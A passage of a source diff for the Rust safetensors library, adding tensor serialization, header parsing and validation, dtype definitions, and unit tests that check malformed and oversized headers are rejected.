necessary to enable safetensors to serialize a tensor +/// If you have an owned tensor like this: +/// +/// ```rust +/// use safetensors::tensor::{View, Dtype}; +/// use std::borrow::Cow; +/// struct Tensor{ dtype: MyDtype, shape: Vec, data: Vec} +/// +/// # type MyDtype = Dtype; +/// impl<'data> View for &'data Tensor{ +/// fn dtype(&self) -> Dtype{ +/// self.dtype.into() +/// } +/// fn shape(&self) -> &[usize]{ +/// &self.shape +/// } +/// fn data(&self) -> Cow<[u8]>{ +/// (&self.data).into() +/// } +/// fn data_len(&self) -> usize{ +/// self.data.len() +/// } +/// } +/// ``` +/// +/// For a borrowed tensor: +/// +/// ```rust +/// use safetensors::tensor::{View, Dtype}; +/// use std::borrow::Cow; +/// struct Tensor<'data>{ dtype: MyDtype, shape: Vec, data: &'data[u8]} +/// +/// # type MyDtype = Dtype; +/// impl<'data> View for Tensor<'data>{ +/// fn dtype(&self) -> Dtype{ +/// self.dtype.into() +/// } +/// fn shape(&self) -> &[usize]{ +/// &self.shape +/// } +/// fn data(&self) -> Cow<[u8]>{ +/// self.data.into() +/// } +/// fn data_len(&self) -> usize{ +/// self.data.len() +/// } +/// } +/// ``` +/// +/// Now if you have some unknown buffer that could be on GPU for instance, +/// you can implement the trait to return an owned local buffer containing the data +/// on CPU (needed to write on disk) +/// ```rust +/// use safetensors::tensor::{View, Dtype}; +/// use std::borrow::Cow; +/// +/// # type MyDtype = Dtype; +/// # type OpaqueGpu = Vec; +/// struct Tensor{ dtype: MyDtype, shape: Vec, data: OpaqueGpu } +/// +/// impl View for Tensor{ +/// fn dtype(&self) -> Dtype{ +/// self.dtype.into() +/// } +/// fn shape(&self) -> &[usize]{ +/// &self.shape +/// } +/// fn data(&self) -> Cow<[u8]>{ +/// // This copies data from GPU to CPU. +/// let data: Vec = self.data.to_vec(); +/// data.into() +/// } +/// fn data_len(&self) -> usize{ +/// let n: usize = self.shape.iter().product(); +/// let bytes_per_element = self.dtype.size(); +/// n * bytes_per_element +/// } +/// } +/// ``` +pub trait View { + /// The `Dtype` of the tensor + fn dtype(&self) -> Dtype; + /// The shape of the tensor + fn shape(&self) -> &[usize]; + /// The data of the tensor + fn data(&self) -> Cow<[u8]>; + /// The length of the data, in bytes. + /// This is necessary as this might be faster to get than `data().len()` + /// for instance for tensors residing in GPU. + fn data_len(&self) -> usize; +} + +fn prepare + Ord + std::fmt::Display, V: View, I: IntoIterator>( + data: I, + data_info: &Option>, + // ) -> Result<(Metadata, Vec<&'hash TensorView<'data>>, usize), SafeTensorError> { +) -> Result<(PreparedData, Vec), SafeTensorError> { + // Make sure we're sorting by descending dtype alignment + // Then by name + let mut data: Vec<_> = data.into_iter().collect(); + data.sort_by(|(lname, left), (rname, right)| { + right.dtype().cmp(&left.dtype()).then(lname.cmp(rname)) + }); + + let mut tensors: Vec = Vec::with_capacity(data.len()); + let mut hmetadata = Vec::with_capacity(data.len()); + let mut offset = 0; + let data: Vec<_> = data.into_iter().collect(); + for (name, tensor) in data { + let n = tensor.data_len(); + let tensor_info = TensorInfo { + dtype: tensor.dtype(), + shape: tensor.shape().to_vec(), + data_offsets: (offset, offset + n), + }; + offset += n; + hmetadata.push((name.to_string(), tensor_info)); + tensors.push(tensor); + } + + let metadata: Metadata = Metadata::new(data_info.clone(), hmetadata)?; + let mut metadata_buf = serde_json::to_string(&metadata)?.into_bytes(); + // Force alignment to 8 bytes. + let extra = (8 - metadata_buf.len() % 8) % 8; + metadata_buf.extend(vec![b' '; extra]); + + let n: u64 = metadata_buf.len() as u64; + + Ok(( + PreparedData { + n, + header_bytes: metadata_buf, + offset, + }, + tensors, + )) +} + +/// Serialize to an owned byte buffer the dictionnary of tensors. +pub fn serialize< + S: AsRef + Ord + std::fmt::Display, + V: View, + I: IntoIterator, +>( + data: I, + data_info: &Option>, +) -> Result, SafeTensorError> { + let ( + PreparedData { + n, + header_bytes, + offset, + }, + tensors, + ) = prepare(data, data_info)?; + let expected_size = 8 + header_bytes.len() + offset; + let mut buffer: Vec = Vec::with_capacity(expected_size); + buffer.extend(&n.to_le_bytes().to_vec()); + buffer.extend(&header_bytes); + for tensor in tensors { + buffer.extend(tensor.data().as_ref()); + } + Ok(buffer) +} + +/// Serialize to a regular file the dictionnary of tensors. +/// Writing directly to file reduces the need to allocate the whole amount to +/// memory. +pub fn serialize_to_file< + S: AsRef + Ord + std::fmt::Display, + V: View, + I: IntoIterator, +>( + data: I, + data_info: &Option>, + filename: &Path, +) -> Result<(), SafeTensorError> { + let ( + PreparedData { + n, header_bytes, .. + }, + tensors, + ) = prepare(data, data_info)?; + let mut f = BufWriter::new(File::create(filename)?); + f.write_all(n.to_le_bytes().as_ref())?; + f.write_all(&header_bytes)?; + for tensor in tensors { + f.write_all(tensor.data().as_ref())?; + } + f.flush()?; + Ok(()) +} + +/// A structure owning some metadata to lookup tensors on a shared `data` +/// byte-buffer (not owned). +#[derive(Debug)] +pub struct SafeTensors<'data> { + metadata: Metadata, + data: &'data [u8], +} + +impl<'data> SafeTensors<'data> { + /// Given a byte-buffer representing the whole safetensor file + /// parses the header, and returns the size of the header + the parsed data. + pub fn read_metadata<'in_data>( + buffer: &'in_data [u8], + ) -> Result<(usize, Metadata), SafeTensorError> + where + 'in_data: 'data, + { + let buffer_len = buffer.len(); + if buffer_len < 8 { + return Err(SafeTensorError::HeaderTooSmall); + } + let arr: [u8; 8] = [ + buffer[0], buffer[1], buffer[2], buffer[3], buffer[4], buffer[5], buffer[6], buffer[7], + ]; + let n: usize = u64::from_le_bytes(arr) + .try_into() + .map_err(|_| SafeTensorError::HeaderTooLarge)?; + if n > MAX_HEADER_SIZE { + return Err(SafeTensorError::HeaderTooLarge); + } + + let stop = n + .checked_add(8) + .ok_or(SafeTensorError::InvalidHeaderLength)?; + if stop > buffer_len { + return Err(SafeTensorError::InvalidHeaderLength); + } + let string = + std::str::from_utf8(&buffer[8..stop]).map_err(|_| SafeTensorError::InvalidHeader)?; + // Assert the string starts with { + // NOTE: Add when we move to 0.4.0 + // if !string.starts_with('{') { + // return Err(SafeTensorError::InvalidHeaderStart); + // } + let metadata: Metadata = serde_json::from_str(string) + .map_err(|_| SafeTensorError::InvalidHeaderDeserialization)?; + let buffer_end = metadata.validate()?; + if buffer_end + 8 + n != buffer_len { + return Err(SafeTensorError::MetadataIncompleteBuffer); + } + Ok((n, metadata)) + } + /// Given a byte-buffer representing the whole safetensor file + /// parses it and returns the Deserialized form (No Tensor allocation). + /// + /// ``` + /// use safetensors::SafeTensors; + /// use memmap2::MmapOptions; + /// use std::fs::File; + /// + /// let filename = "model.safetensors"; + /// # use std::io::Write; + /// # let serialized = b"<\x00\x00\x00\x00\x00\x00\x00{\"test\":{\"dtype\":\"I32\",\"shape\":[2,2],\"data_offsets\":[0,16]}}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; + /// # File::create(filename).unwrap().write(serialized).unwrap(); + /// let file = File::open(filename).unwrap(); + /// let buffer = unsafe { MmapOptions::new().map(&file).unwrap() }; + /// let tensors = SafeTensors::deserialize(&buffer).unwrap(); + /// let tensor = tensors + /// .tensor("test") + /// .unwrap(); + /// ``` + pub fn deserialize<'in_data>(buffer: &'in_data [u8]) -> Result + where + 'in_data: 'data, + { + let (n, metadata) = SafeTensors::read_metadata(buffer)?; + let data = &buffer[n + 8..]; + Ok(Self { metadata, data }) + } + + /// Allow the user to iterate over tensors within the SafeTensors. + /// The tensors returned are merely views and the data is not owned by this + /// structure. + pub fn tensors(&self) -> Vec<(String, TensorView<'_>)> { + let mut tensors = Vec::with_capacity(self.metadata.index_map.len()); + for (name, &index) in &self.metadata.index_map { + let info = &self.metadata.tensors[index]; + let tensorview = TensorView { + dtype: info.dtype, + shape: info.shape.clone(), + data: &self.data[info.data_offsets.0..info.data_offsets.1], + }; + tensors.push((name.to_string(), tensorview)); + } + tensors + } + + /// Allow the user to get a specific tensor within the SafeTensors. + /// The tensor returned is merely a view and the data is not owned by this + /// structure. + pub fn tensor(&self, tensor_name: &str) -> Result, SafeTensorError> { + if let Some(index) = &self.metadata.index_map.get(tensor_name) { + if let Some(info) = &self.metadata.tensors.get(**index) { + Ok(TensorView { + dtype: info.dtype, + shape: info.shape.clone(), + data: &self.data[info.data_offsets.0..info.data_offsets.1], + }) + } else { + Err(SafeTensorError::TensorNotFound(tensor_name.to_string())) + } + } else { + Err(SafeTensorError::TensorNotFound(tensor_name.to_string())) + } + } + + /// Return the names of the tensors within the SafeTensors. + /// These are used as keys to access to the actual tensors, that can be + /// retrieved using the tensor method. + pub fn names(&self) -> Vec<&'_ String> { + self.metadata.index_map.keys().collect() + } + + /// Return how many tensors are currently stored within the SafeTensors. + #[inline] + pub fn len(&self) -> usize { + self.metadata.tensors.len() + } + + /// Indicate if the SafeTensors contains or not any tensor. + #[inline] + pub fn is_empty(&self) -> bool { + self.metadata.tensors.is_empty() + } +} + +/// The stuct representing the header of safetensor files which allow +/// indexing into the raw byte-buffer array and how to interpret it. +#[derive(Debug, Clone)] +pub struct Metadata { + metadata: Option>, + tensors: Vec, + index_map: HashMap, +} + +/// Helper struct used only for serialization deserialization +#[derive(Serialize, Deserialize)] +struct HashMetadata { + #[serde(skip_serializing_if = "Option::is_none")] + #[serde(rename = "__metadata__")] + metadata: Option>, + #[serde(flatten)] + tensors: HashMap, +} + +impl<'de> Deserialize<'de> for Metadata { + fn deserialize(deserializer: D) -> Result + where + D: Deserializer<'de>, + { + let hashdata: HashMetadata = HashMetadata::deserialize(deserializer)?; + let (metadata, tensors) = (hashdata.metadata, hashdata.tensors); + let mut tensors: Vec<_> = tensors.into_iter().collect(); + // We need to sort by offsets + // Previous versions might have a different ordering + // Than we expect (Not aligned ordered, but purely name ordered, + // or actually any order). + tensors.sort_by(|(_, left), (_, right)| left.data_offsets.cmp(&right.data_offsets)); + Metadata::new(metadata, tensors).map_err(serde::de::Error::custom) + } +} + +impl Serialize for Metadata { + fn serialize(&self, serializer: S) -> Result + where + S: Serializer, + { + let mut names = vec![""; self.index_map.len()]; + for (name, index) in &self.index_map { + names[*index] = name; + } + + let tensors: Vec<_> = names.iter().zip(self.tensors.iter()).collect(); + let mut map = serializer.serialize_map(Some(tensors.len()))?; + if let Some(metadata) = &self.metadata { + map.serialize_entry("__metadata__", metadata)?; + } + for (name, info) in tensors { + map.serialize_entry(&name, &info)?; + } + map.end() + } +} + +impl Metadata { + fn new( + metadata: Option>, + tensors: Vec<(String, TensorInfo)>, + ) -> Result { + let mut index_map = HashMap::with_capacity(tensors.len()); + + let tensors: Vec<_> = tensors + .into_iter() + .enumerate() + .map(|(index, (k, tensor))| { + index_map.insert(k, index); + tensor + }) + .collect(); + + let metadata = Self { + metadata, + tensors, + index_map, + }; + // metadata.validate()?; + Ok(metadata) + } + + fn validate(&self) -> Result { + let mut start = 0; + for (i, info) in self.tensors.iter().enumerate() { + let (s, e) = info.data_offsets; + if s != start || e < s { + let tensor_name = self + .index_map + .iter() + .find_map(|(name, &index)| if index == i { Some(&name[..]) } else { None }) + .unwrap_or("no_tensor"); + return Err(SafeTensorError::InvalidOffset(tensor_name.to_string())); + } + start = e; + let nelements: usize = info + .shape + .iter() + .cloned() + .try_fold(1usize, usize::checked_mul) + .ok_or(SafeTensorError::ValidationOverflow)?; + let nbytes = nelements + .checked_mul(info.dtype.size()) + .ok_or(SafeTensorError::ValidationOverflow)?; + if (e - s) != nbytes { + return Err(SafeTensorError::TensorInvalidInfo); + } + } + Ok(start) + } + + /// Gives back the tensor metadata + pub fn info(&self, name: &str) -> Option<&TensorInfo> { + let index = self.index_map.get(name)?; + self.tensors.get(*index) + } + + /// Gives back the tensor metadata + pub fn tensors(&self) -> HashMap { + self.index_map + .iter() + .map(|(tensor_name, index)| (tensor_name.clone(), &self.tensors[*index])) + .collect() + } + + /// Gives back the tensor metadata + pub fn metadata(&self) -> &Option> { + &self.metadata + } +} + +/// A view of a Tensor within the file. +/// Contains references to data within the full byte-buffer +/// And is thus a readable view of a single tensor +#[derive(Debug, PartialEq, Eq)] +pub struct TensorView<'data> { + dtype: Dtype, + shape: Vec, + data: &'data [u8], +} + +impl<'data> View for &TensorView<'data> { + fn dtype(&self) -> Dtype { + self.dtype + } + + fn shape(&self) -> &[usize] { + &self.shape + } + + fn data(&self) -> Cow<[u8]> { + self.data.into() + } + + fn data_len(&self) -> usize { + self.data.len() + } +} + +impl<'data> View for TensorView<'data> { + fn dtype(&self) -> Dtype { + self.dtype + } + + fn shape(&self) -> &[usize] { + &self.shape + } + + fn data(&self) -> Cow<[u8]> { + self.data.into() + } + + fn data_len(&self) -> usize { + self.data.len() + } +} + +impl<'data> TensorView<'data> { + /// Create new tensor view + pub fn new( + dtype: Dtype, + shape: Vec, + data: &'data [u8], + ) -> Result { + let n = data.len(); + let n_elements: usize = shape.iter().product(); + if n != n_elements * dtype.size() { + Err(SafeTensorError::InvalidTensorView(dtype, shape, n)) + } else { + Ok(Self { dtype, shape, data }) + } + } + /// The current tensor dtype + pub fn dtype(&self) -> Dtype { + self.dtype + } + + /// The current tensor shape + pub fn shape(&'data self) -> &'data [usize] { + &self.shape + } + + /// The current tensor byte-buffer + pub fn data(&self) -> &'data [u8] { + self.data + } + + /// The various pieces of the data buffer according to the asked slice + pub fn sliced_data( + &'data self, + slices: &[TensorIndexer], + ) -> Result, InvalidSlice> { + SliceIterator::new(self, slices) + } +} + +/// A single tensor information. +/// Endianness is assumed to be little endian +/// Ordering is assumed to be 'C'. +#[derive(Debug, Deserialize, Serialize, Clone)] +pub struct TensorInfo { + /// The type of each element of the tensor + pub dtype: Dtype, + /// The shape of the tensor + pub shape: Vec, + /// The offsets to find the data within the byte-buffer array. + pub data_offsets: (usize, usize), +} + +/// The various available dtypes. They MUST be in increasing alignment order +#[derive(Debug, Deserialize, Serialize, Clone, Copy, PartialEq, Eq, Ord, PartialOrd)] +#[non_exhaustive] +pub enum Dtype { + /// Boolan type + BOOL, + /// Unsigned byte + U8, + /// Signed byte + I8, + /// Signed integer (16-bit) + I16, + /// Unsigned integer (16-bit) + U16, + /// Half-precision floating point + F16, + /// Brain floating point + BF16, + /// Signed integer (32-bit) + I32, + /// Unsigned integer (32-bit) + U32, + /// Floating point (32-bit) + F32, + /// Floating point (64-bit) + F64, + /// Signed integer (64-bit) + I64, + /// Unsigned integer (64-bit) + U64, +} + +impl Dtype { + /// Gives out the size (in bytes) of 1 element of this dtype. + pub fn size(&self) -> usize { + match self { + Dtype::BOOL => 1, + Dtype::U8 => 1, + Dtype::I8 => 1, + Dtype::I16 => 2, + Dtype::U16 => 2, + Dtype::I32 => 4, + Dtype::U32 => 4, + Dtype::I64 => 8, + Dtype::U64 => 8, + Dtype::F16 => 2, + Dtype::BF16 => 2, + Dtype::F32 => 4, + Dtype::F64 => 8, + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::slice::IndexOp; + use proptest::prelude::*; + + const MAX_DIMENSION: usize = 8; + const MAX_SIZE: usize = 8; + const MAX_TENSORS: usize = 8; + + fn arbitrary_dtype() -> impl Strategy { + prop_oneof![ + Just(Dtype::BOOL), + Just(Dtype::U8), + Just(Dtype::I8), + Just(Dtype::I16), + Just(Dtype::U16), + Just(Dtype::I32), + Just(Dtype::U32), + Just(Dtype::I64), + Just(Dtype::U64), + Just(Dtype::F16), + Just(Dtype::BF16), + Just(Dtype::F32), + Just(Dtype::F64), + ] + } + + fn arbitrary_shape() -> impl Strategy> { + // We do not allow empty shapes or 0 sizes. + (1..MAX_DIMENSION).prop_flat_map(|length| prop::collection::vec(1..MAX_SIZE, length)) + } + + fn arbitrary_metadata() -> impl Strategy { + // We generate at least one tensor. + (1..MAX_TENSORS) + .prop_flat_map(|size| { + // Returns a strategy generating `size` data types and shapes. + ( + prop::collection::vec(arbitrary_dtype(), size), + prop::collection::vec(arbitrary_shape(), size), + ) + }) + .prop_map(|(dtypes, shapes)| { + // Returns a valid metadata object for a random (length, dtypes, shapes) triple. + let mut start = 0; + let tensors: Vec = dtypes + .iter() + .zip(shapes) + .map(|(dtype, shape)| { + // This cannot overflow because the size of + // the vector and elements are so small. + let length: usize = shape.iter().product(); + let end = start + length * dtype.size(); + let tensor = TensorInfo { + dtype: *dtype, + shape, + data_offsets: (start, end), + }; + start = end; + tensor + }) + .collect(); + let index_map = (0..tensors.len()) + .map(|index| (format!("t.{index}"), index)) + .collect(); + Metadata { + metadata: None, + tensors, + index_map, + } + }) + } + + /// This method returns the size of the data corresponding to the metadata. It + /// assumes that `metadata` contains at least one tensor, and that tensors are + /// ordered by offset in `metadata.tensors`. + /// + /// # Panics + /// + /// This method will panic if `metadata` does not contain any tensors. + fn data_size(metadata: &Metadata) -> usize { + metadata.tensors.last().unwrap().data_offsets.1 + } + + proptest! { + #![proptest_config(ProptestConfig::with_cases(20))] + + #[test] + fn test_indexing(metadata in arbitrary_metadata()) { + let data = vec![0u8; data_size(&metadata)]; + let tensors = SafeTensors { metadata, data: &data }; + for name in tensors.names() { + assert!(tensors.tensor(name).is_ok()); + } + } + #[test] + fn test_roundtrip(metadata in arbitrary_metadata()) { + let data: Vec = (0..data_size(&metadata)).map(|x| x as u8).collect(); + let before = SafeTensors { metadata, data: &data }; + let tensors = before.tensors(); + let bytes = serialize(tensors.iter().map(|(name, view)| (name.to_string(), view)), &None).unwrap(); + + let after = SafeTensors::deserialize(&bytes).unwrap(); + + // Check that the tensors are the same after deserialization. + assert_eq!(before.names().len(), after.names().len()); + for name in before.names() { + let tensor_before = before.tensor(name).unwrap(); + let tensor_after = after.tensor(name).unwrap(); + assert_eq!(tensor_after.data().as_ptr() as usize % tensor_after.dtype().size(), 0); + assert_eq!(tensor_before, tensor_after); + } + } + } + + #[test] + fn test_serialization() { + let data: Vec = vec![0.0f32, 1.0, 2.0, 3.0, 4.0, 5.0] + .into_iter() + .flat_map(|f| f.to_le_bytes()) + .collect(); + let shape = vec![1, 2, 3]; + let attn_0 = TensorView::new(Dtype::F32, shape, &data).unwrap(); + let metadata: HashMap = + [("attn.0".to_string(), attn_0)].into_iter().collect(); + + let out = serialize(&metadata, &None).unwrap(); + assert_eq!( + out, + [ + 64, 0, 0, 0, 0, 0, 0, 0, 123, 34, 97, 116, 116, 110, 46, 48, 34, 58, 123, 34, 100, + 116, 121, 112, 101, 34, 58, 34, 70, 51, 50, 34, 44, 34, 115, 104, 97, 112, 101, 34, + 58, 91, 49, 44, 50, 44, 51, 93, 44, 34, 100, 97, 116, 97, 95, 111, 102, 102, 115, + 101, 116, 115, 34, 58, 91, 48, 44, 50, 52, 93, 125, 125, 0, 0, 0, 0, 0, 0, 128, 63, + 0, 0, 0, 64, 0, 0, 64, 64, 0, 0, 128, 64, 0, 0, 160, 64 + ] + ); + let _parsed = SafeTensors::deserialize(&out).unwrap(); + } + + #[test] + fn test_serialization_forced_alignement() { + let data: Vec = vec![0.0f32, 1.0, 2.0, 3.0, 4.0, 5.0] + .into_iter() + .flat_map(|f| f.to_le_bytes()) + .collect(); + let shape = vec![1, 1, 2, 3]; + let attn_0 = TensorView::new(Dtype::F32, shape, &data).unwrap(); + let metadata: HashMap = + // Smaller string to force misalignment compared to previous test. + [("attn0".to_string(), attn_0)].into_iter().collect(); + + let out = serialize(&metadata, &None).unwrap(); + assert_eq!( + out, + [ + 72, 0, 0, 0, 0, 0, 0, 0, 123, 34, 97, 116, 116, 110, 48, 34, 58, 123, 34, 100, 116, + 121, 112, 101, 34, 58, 34, 70, 51, 50, 34, 44, 34, 115, 104, 97, 112, 101, 34, 58, + 91, 49, 44, 49, 44, 50, 44, 51, 93, 44, 34, 100, 97, 116, 97, 95, 111, 102, 102, + // All the 32 are forcing alignement of the tensor data for casting to f32, f64 + // etc.. + 115, 101, 116, 115, 34, 58, 91, 48, 44, 50, 52, 93, 125, 125, 32, 32, 32, 32, 32, + 32, 32, 0, 0, 0, 0, 0, 0, 128, 63, 0, 0, 0, 64, 0, 0, 64, 64, 0, 0, 128, 64, 0, 0, + 160, 64 + ], + ); + let parsed = SafeTensors::deserialize(&out).unwrap(); + let tensor = parsed.tensor("attn0").unwrap(); + assert_eq!(tensor.data().as_ptr() as usize % tensor.dtype().size(), 0); + } + + #[test] + fn test_slicing() { + let data: Vec = vec![0.0f32, 1.0, 2.0, 3.0, 4.0, 5.0] + .into_iter() + .flat_map(|f| f.to_le_bytes()) + .collect(); + let attn_0 = TensorView { + dtype: Dtype::F32, + shape: vec![1, 2, 3], + data: &data, + }; + let metadata: HashMap = + [("attn.0".to_string(), attn_0)].into_iter().collect(); + + let out = serialize(&metadata, &None).unwrap(); + let parsed = SafeTensors::deserialize(&out).unwrap(); + + let out_buffer: Vec = parsed + .tensor("attn.0") + .unwrap() + .slice((.., ..1)) + .unwrap() + .flat_map(|b| b.to_vec()) + .collect(); + assert_eq!(out_buffer, vec![0u8, 0, 0, 0, 0, 0, 128, 63, 0, 0, 0, 64]); + assert_eq!( + out_buffer, + vec![0.0f32, 1.0, 2.0] + .into_iter() + .flat_map(|f| f.to_le_bytes()) + .collect::>() + ); + let out_buffer: Vec = parsed + .tensor("attn.0") + .unwrap() + .slice((.., .., ..1)) + .unwrap() + .flat_map(|b| b.to_vec()) + .collect(); + assert_eq!(out_buffer, vec![0u8, 0, 0, 0, 0, 0, 64, 64]); + assert_eq!( + out_buffer, + vec![0.0f32, 3.0] + .into_iter() + .flat_map(|f| f.to_le_bytes()) + .collect::>() + ); + } + + #[test] + fn test_gpt2() { + gpt2_like(12, "gpt2"); + } + + #[test] + fn test_gpt2_tiny() { + gpt2_like(6, "gpt2_tiny"); + } + + fn gpt2_like(n_heads: usize, model_id: &str) { + let mut tensors_desc = vec![]; + tensors_desc.push(("wte".to_string(), vec![50257, 768])); + tensors_desc.push(("wpe".to_string(), vec![1024, 768])); + for i in 0..n_heads { + tensors_desc.push((format!("h.{i}.ln_1.weight"), vec![768])); + tensors_desc.push((format!("h.{i}.ln_1.bias"), vec![768])); + tensors_desc.push((format!("h.{i}.attn.bias"), vec![1, 1, 1024, 1024])); + tensors_desc.push((format!("h.{i}.attn.c_attn.weight"), vec![768, 2304])); + tensors_desc.push((format!("h.{i}.attn.c_attn.bias"), vec![2304])); + tensors_desc.push((format!("h.{i}.attn.c_proj.weight"), vec![768, 768])); + tensors_desc.push((format!("h.{i}.attn.c_proj.bias"), vec![768])); + tensors_desc.push((format!("h.{i}.ln_2.weight"), vec![768])); + tensors_desc.push((format!("h.{i}.ln_2.bias"), vec![768])); + tensors_desc.push((format!("h.{i}.mlp.c_fc.weight"), vec![768, 3072])); + tensors_desc.push((format!("h.{i}.mlp.c_fc.bias"), vec![3072])); + tensors_desc.push((format!("h.{i}.mlp.c_proj.weight"), vec![3072, 768])); + tensors_desc.push((format!("h.{i}.mlp.c_proj.bias"), vec![768])); + } + tensors_desc.push(("ln_f.weight".to_string(), vec![768])); + tensors_desc.push(("ln_f.bias".to_string(), vec![768])); + + let dtype = Dtype::F32; + let n: usize = tensors_desc + .iter() + .map(|(_, shape)| shape.iter().product::()) + .sum::() + * dtype.size(); // 4 + let all_data = vec![0; n]; + let mut metadata = HashMap::with_capacity(tensors_desc.len()); + let mut offset = 0; + for (name, shape) in tensors_desc { + let n: usize = shape.iter().product(); + let buffer = &all_data[offset..offset + n * dtype.size()]; + let tensor = TensorView::new(dtype, shape, buffer).unwrap(); + metadata.insert(name, tensor); + offset += n; + } + + let filename = format!("./out_{model_id}.safetensors"); + + let out = serialize(&metadata, &None).unwrap(); + std::fs::write(&filename, out).unwrap(); + let raw = std::fs::read(&filename).unwrap(); + let _deserialized = SafeTensors::deserialize(&raw).unwrap(); + std::fs::remove_file(&filename).unwrap(); + + // File api + serialize_to_file(&metadata, &None, Path::new(&filename)).unwrap(); + let raw = std::fs::read(&filename).unwrap(); + let _deserialized = SafeTensors::deserialize(&raw).unwrap(); + std::fs::remove_file(&filename).unwrap(); + } + + #[test] + fn test_empty_shapes_allowed() { + let serialized = b"8\x00\x00\x00\x00\x00\x00\x00{\"test\":{\"dtype\":\"I32\",\"shape\":[],\"data_offsets\":[0,4]}}\x00\x00\x00\x00"; + + let loaded = SafeTensors::deserialize(serialized).unwrap(); + assert_eq!(loaded.names(), vec!["test"]); + let tensor = loaded.tensor("test").unwrap(); + assert!(tensor.shape().is_empty()); + assert_eq!(tensor.dtype(), Dtype::I32); + // 4 bytes + assert_eq!(tensor.data(), b"\0\0\0\0"); + } + + #[test] + fn test_deserialization() { + let serialized = b"<\x00\x00\x00\x00\x00\x00\x00{\"test\":{\"dtype\":\"I32\",\"shape\":[2,2],\"data_offsets\":[0,16]}}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; + + let loaded = SafeTensors::deserialize(serialized).unwrap(); + + assert_eq!(loaded.len(), 1); + assert_eq!(loaded.names(), vec!["test"]); + let tensor = loaded.tensor("test").unwrap(); + assert_eq!(tensor.shape(), vec![2, 2]); + assert_eq!(tensor.dtype(), Dtype::I32); + // 16 bytes + assert_eq!(tensor.data(), b"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"); + } + + #[test] + fn test_json_attack() { + let mut tensors = HashMap::new(); + let dtype = Dtype::F32; + let shape = vec![2, 2]; + let data_offsets = (0, 16); + for i in 0..10 { + tensors.insert( + format!("weight_{i}"), + TensorInfo { + dtype, + shape: shape.clone(), + data_offsets, + }, + ); + } + + let metadata = HashMetadata { + metadata: None, + tensors, + }; + let serialized = serde_json::to_string(&metadata).unwrap(); + let serialized = serialized.as_bytes(); + + let n = serialized.len(); + + let filename = "out.safetensors"; + let mut f = BufWriter::new(File::create(filename).unwrap()); + f.write_all(n.to_le_bytes().as_ref()).unwrap(); + f.write_all(serialized).unwrap(); + f.write_all(b"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0").unwrap(); + f.flush().unwrap(); + + let reloaded = std::fs::read(filename).unwrap(); + match SafeTensors::deserialize(&reloaded) { + Err(SafeTensorError::InvalidOffset(_)) => { + // Yes we have the correct error, name of the tensor is random though + } + Err(err) => panic!("Unexpected error {err:?}"), + Ok(_) => panic!("This should not be able to be deserialized"), + } + } + + #[test] + fn test_metadata_incomplete_buffer() { + let serialized = b"<\x00\x00\x00\x00\x00\x00\x00{\"test\":{\"dtype\":\"I32\",\"shape\":[2,2],\"data_offsets\":[0,16]}}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00extra_bogus_data_for_polyglot_file"; + + match SafeTensors::deserialize(serialized) { + Err(SafeTensorError::MetadataIncompleteBuffer) => { + // Yes we have the correct error + } + _ => panic!("This should not be able to be deserialized"), + } + + // Missing data in the buffer + let serialized = b"<\x00\x00\x00\x00\x00\x00\x00{\"test\":{\"dtype\":\"I32\",\"shape\":[2,2],\"data_offsets\":[0,16]}}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; // <--- missing 2 bytes + + match SafeTensors::deserialize(serialized) { + Err(SafeTensorError::MetadataIncompleteBuffer) => { + // Yes we have the correct error + } + _ => panic!("This should not be able to be deserialized"), + } + } + + #[test] + fn test_header_too_large() { + let serialized = b"<\x00\x00\x00\x00\xff\xff\xff{\"test\":{\"dtype\":\"I32\",\"shape\":[2,2],\"data_offsets\":[0,16]}}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; + + match SafeTensors::deserialize(serialized) { + Err(SafeTensorError::HeaderTooLarge) => { + // Yes we have the correct error + } + _ => panic!("This should not be able to be deserialized"), + } + } + + #[test] + fn test_header_too_small() { + let serialized = b""; + match SafeTensors::deserialize(serialized) { + Err(SafeTensorError::HeaderTooSmall) => { + // Yes we have the correct error + } + _ => panic!("This should not be able to be deserialized"), + } + } + + #[test] + fn test_invalid_header_length() { + let serialized = b"<\x00\x00\x00\x00\x00\x00\x00"; + match SafeTensors::deserialize(serialized) { + Err(SafeTensorError::InvalidHeaderLength) => { + // Yes we have the correct error + } + _ => panic!("This should not be able to be deserialized"), + } + } + + #[test] + fn test_invalid_header_non_utf8() { + let serialized = b"\x01\x00\x00\x00\x00\x00\x00\x00\xff"; + match SafeTensors::deserialize(serialized) { + Err(SafeTensorError::InvalidHeader) => { + // Yes we have the correct error + } + _ => panic!("This should not be able to be deserialized"), + } + } + + #[test] + fn test_invalid_header_not_json() { + let serialized = b"\x01\x00\x00\x00\x00\x00\x00\x00{"; + match SafeTensors::deserialize(serialized) { + Err(SafeTensorError::InvalidHeaderDeserialization) => { + // Yes we have the correct error + } + _ => panic!("This should not be able to be deserialized"), + } + } + + #[test] + /// Test that the JSON header may be trailing-padded with JSON whitespace characters. + fn test_whitespace_padded_header() { + let serialized = b"\x06\x00\x00\x00\x00\x00\x00\x00{}\x0D\x20\x09\x0A"; + let loaded = SafeTensors::deserialize(serialized).unwrap(); + assert_eq!(loaded.len(), 0); + } + + // Reserver for 0.4.0 + // #[test] + // /// Test that the JSON header must begin with a `{` character. + // fn test_whitespace_start_padded_header_is_not_allowed() { + // let serialized = b"\x06\x00\x00\x00\x00\x00\x00\x00\x09\x0A{}\x0D\x20"; + // match SafeTensors::deserialize(serialized) { + // Err(SafeTensorError::InvalidHeaderStart) => { + // // Correct error + // } + // _ => panic!("This should not be able to be deserialized"), + // } + // } + + #[test] + fn test_zero_sized_tensor() { + let serialized = b"<\x00\x00\x00\x00\x00\x00\x00{\"test\":{\"dtype\":\"I32\",\"shape\":[2,0],\"data_offsets\":[0, 0]}}"; + let loaded = SafeTensors::deserialize(serialized).unwrap(); + + assert_eq!(loaded.names(), vec!["test"]); + let tensor = loaded.tensor("test").unwrap(); + assert_eq!(tensor.shape(), vec![2, 0]); + assert_eq!(tensor.dtype(), 